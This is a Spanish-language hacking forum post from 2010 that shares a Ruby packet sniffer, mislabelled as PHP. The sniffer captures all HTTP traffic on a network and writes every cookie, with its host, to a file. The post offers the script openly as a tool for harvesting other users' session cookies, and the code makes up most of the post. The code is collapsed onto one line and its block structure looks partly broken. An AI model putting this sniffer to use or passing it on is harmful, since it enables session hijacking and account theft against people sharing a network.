HTTP Sniff

Iniciado por ANTRAX, Febrero 24, 2010, 04:08:55 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.


Aquí otro sniffer. En este caso de HTTP. Lo mismo de antes, se necesita pcap. Captura todas las cookies que circulen por el http en la red ^^. Crea dos archivos de texto, uno con toda la información que pase por el HTTP, y otro con las cookies limpias (ya te indica de que dominio es cada cookie, no te precoupes xD).
Código: php
#HTTP Sniffer. #Captura toda la info de http en red #Cookies incluidas ;) #Coded by pRotos. [email protected] require 'pcaplet' include Pcap log=File.open('log.txt', 'w') file=File.open('info.txt', 'w') sniff=Pcaplet.new('-s 1500') filtro1=Pcap::Filter.new('tcp and src port 80', sniff.capture) filtro=Pcap::Filter.new('tcp and dst port 80', sniff.capture) sniff.add_filter(filtro | filtro1) sniff.each_packet {|x| log.puts x.tcp_data if filtro =~ x print x.tcp_data if x.tcp_data =~ /Cookie:/ host= x.tcp_data.split("Host: ")[1].split(" ")[0] cookie=x.tcp_data.split("Cookie: ")[1].split("\n")[0] file.print "Host: #{host}\nCookie: #{cookie}\n\n\n" end elsif filtro1 =~ x if x.tcp_data =~ /H(\w*)\n\n/ print x.tcp_data if x.tcp_data =~ /Cookie:/ host= x.tcp_data.split("Host: ")[1].split(" ")[0] cookie=x.tcp_data.split("Cookie: ")[1].split("\n")[0] file.print "Host: #{host}\nCookie: #{cookie}\n\n\n" end end end }